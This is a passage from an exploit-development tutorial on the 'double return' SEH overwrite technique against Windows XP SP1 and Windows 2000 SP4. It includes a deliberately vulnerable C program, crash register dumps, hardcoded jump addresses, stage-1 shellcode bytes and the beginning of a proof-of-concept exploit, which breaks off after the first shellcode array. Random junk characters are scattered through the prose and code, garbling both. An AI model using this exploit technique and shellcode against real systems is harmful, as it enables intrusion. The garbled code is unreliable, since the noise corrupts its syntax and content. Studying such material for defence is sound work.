The goal of this method is to create a stable exploit that will successfully exploit a buffer overflow vulnerability on multiple operating systems. Every windows application has a default exception handler that is located at the end of the stack. When exploiting a normal buffer overflow vulnerability we overwrite the return address but in this case we will continue overwriting the stack and overwrite the default exception handler as well./ S8 ?5 j7 C. J3 `3 r) p5 }5 e" \# W
) L/ d: k4 }+ Z# v) ]
[Buf] <- Shellcode I3 ]& Y$ M8 A1 S$ L% w; K[Return Address] <- jmp register (for Windows XP sp1) 4 i; Y" D: r- x4 }7 s" r[Various Stack Data] <- Junk* d; ?5 {& w/ @2 n( i/ ~
[Pointer To Next SEH] <- "\xEB\x06\xff\xff" jump 6 bytes forward # K' x. F5 \- a- B2 U[SE Handler] <- jmp register (for Win2k sp4) 1 i5 ]+ V! S, F: @- I8 e[Stage1 Shellcode] <- stage1 shellcode for win2k / P7 K8 A# D$ Z + O. t( }7 @1 Y. SIf the first return address (Windows XP SP1) is wrong an exception will occur and the default exception handler will be called (Windows 2000 SP4). Thus allowing us to create a stable exploit with two return addresses 3 m Z. q1 _, k: h7 u! U$ O4 l. E, }& s2 ]
Necessary Tools: - U; h. W( M, X+ _ E- OllyDBG W- N- z% {2 R' F( J: L
- C/C++ Compiler; ?; d: x9 I7 F& t P, S2 Z W
- nasm+ R/ a5 m F- h8 p* h% Z4 K8 l* d
- Sac % g" p. s2 H# q0 e9 v" @; {2 ? 2 Q6 o' J5 _9 @" A I3 M% S- jVulnerable Code:6 B" Y- Q7 c8 Q3 `$ v
//lamebuf.c 1 w/ O7 M1 w. |$ ?1 E#include<stdio.h>) e# @0 ^7 a6 l" _- |9 I! N, E6 A
#include<string.h> & H4 L) v+ M* y: x+ L/ \#include<windows.h> 0 w9 A0 Y( B# \& p% C7 @/ Iint main(int argc,char *argv[]){% o. G2 A+ Q1 [3 y8 e# z
, {/ h5 k3 i* ^char buf[512];, _1 d( K. g! u( S/ y. T
char buf1[1024]; // <- simulate a stack / y$ q9 |) I7 l7 n* G7 X+ J$ R//DebugBreak();9 H) u; V7 ^; Z1 }: n
if (argc != 2){ return -1; } . l* K) w1 W( o5 R* C$ y* P2 O6 H" r
strcpy(buf,argv[1]); & k. ?0 M7 W% @$ F: e. g" Creturn 0x0;7 S4 Q! b( g8 d" {! A& t* f9 X/ K
} ( _4 k4 S, g2 r b, V" X4 j* G" N/ z$ r' X6 h6 B4 p
Getting Started:5 l9 J2 U( `0 j! K
Before writing the exploit, lets see what happens when we overflow this application with 1600 bytes. The application crashed in the following state of registers: : G% }( Y& }% ?* N: ^2 j3 I/ G+ f! ^& \' ` ~
EAX 00000000! l- [+ }3 L# ~5 Q4 v3 C0 @' ^2 a
ECX 003214045 y. Z# Z0 c' y
EDX 00414141 ! R0 D9 U H! ` [: G. eEBX 7FFDF000 9 `+ G" j- v m7 U/ \! I9 lESP 0012FF88 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". O/ ]' S* l) ^) C* }
EBP 41414141 5 u$ Q) {5 N4 @2 Z1 fESI 77D4595F 2 L6 u# {9 q, j4 t* PEDI 77F59037 ntdll.77F59037 ! I5 R3 e; g+ h0 U9 @: TEIP 41414141 : J( l, \, J7 g! k7 W & Q$ _ [0 j; t7 s' o4 KLets take a look at the stack and see what happened to the default exception handler:5 Y6 D- m5 } t+ d1 h
0x0012FFB0 41414141 Pointer to next SEH Record& z4 q/ x0 Z+ q9 q' L
0x0012FFB4 41414141 SE Handler + |3 P# |" I1 b- Y2 [3 J* Z" Y+ v6 S4 g! }) F# M
We successfully overwrote the return address and the default exception handler./ H# S( K0 P$ e4 g# [
2 L; P( ~% E! e* G3 }9 G8 x
Primary Return Address (Windows XP SP1 EN):+ {6 x6 p# f8 Y
The first return address will be called as in a normal stack overflow. We can see that esp points to user-input, we will use that as our first stage shellcode. The return address will be 0x77F8AC16 (jmp esp on Windows XP SP1 En), and our first stage shellcode will be: : p5 K/ t' B% L"\x89\xE1\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE4"7 ^ ]+ c5 n! D ~- G6 L1 f
$ u2 N# d a G: p) ]
Secondary Return Address (Windows 2000 SP4 EN):! e, w* M( m; ~ A
The secondary return address will be called as in a normal SEH return. The return address will be 0x77F92A9B (jmp ebx on Win2k Sp4 En), and our first stage shellcode will be:1 }( Q% O. c" @ I6 j; l; B
"\x89\xC1\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE1" # {( V+ D, D- i8 D6 z; V1 n7 R9 j- g 7 Y6 B4 r, d3 K5 n. ~7 }* y1 _/ pProof Of Concept: & }1 ], H% G! J$ R& h' \// exploit.c " d# N3 n9 u, X4 K/ O7 l* Y// Tal zeltzer - [Double Return] // 0 _# G, R; S6 J! k( j s8 n' i3 B6 w1 C3 y% }% E: O' U1 F#include<stdio.h>4 _0 `- A9 q. X0 H( K
#include<string.h> ' u+ E: D" w6 c4 U/ M- Q' u#include<windows.h> # U4 {' K+ J2 d: E# Q [) Y+ m, R Z' [+ U; q& t, B3 R. M
#define RET_XP 0x77F8AC16 // WinXP Sp1 English - jmp esp* ]9 w% ?2 ]9 R" X3 |
#define RET_WIN2K 0x77F92A9B // Win2k Sp4 English - jmp ebx+ ^8 U3 Q) d- [" m6 c
9 y1 [4 _8 O. R* ]4 O% G$ D; r6 O
// Stage1 For WinXP Sp1 English 3 R- [2 j# n9 C3 _unsigned char stage1_1[] = "\x89\xE1\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE4";9 j! C* h* V7 ^5 V# f. J' s